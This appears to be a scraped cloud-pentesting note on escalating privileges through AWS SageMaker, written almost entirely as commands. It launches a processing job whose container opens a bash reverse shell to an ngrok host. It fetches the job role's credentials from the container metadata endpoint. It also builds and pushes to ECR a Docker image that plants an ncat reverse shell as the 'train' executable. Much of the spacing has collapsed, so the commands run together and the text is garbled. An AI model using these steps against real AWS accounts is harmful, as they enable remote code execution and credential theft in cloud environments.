# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest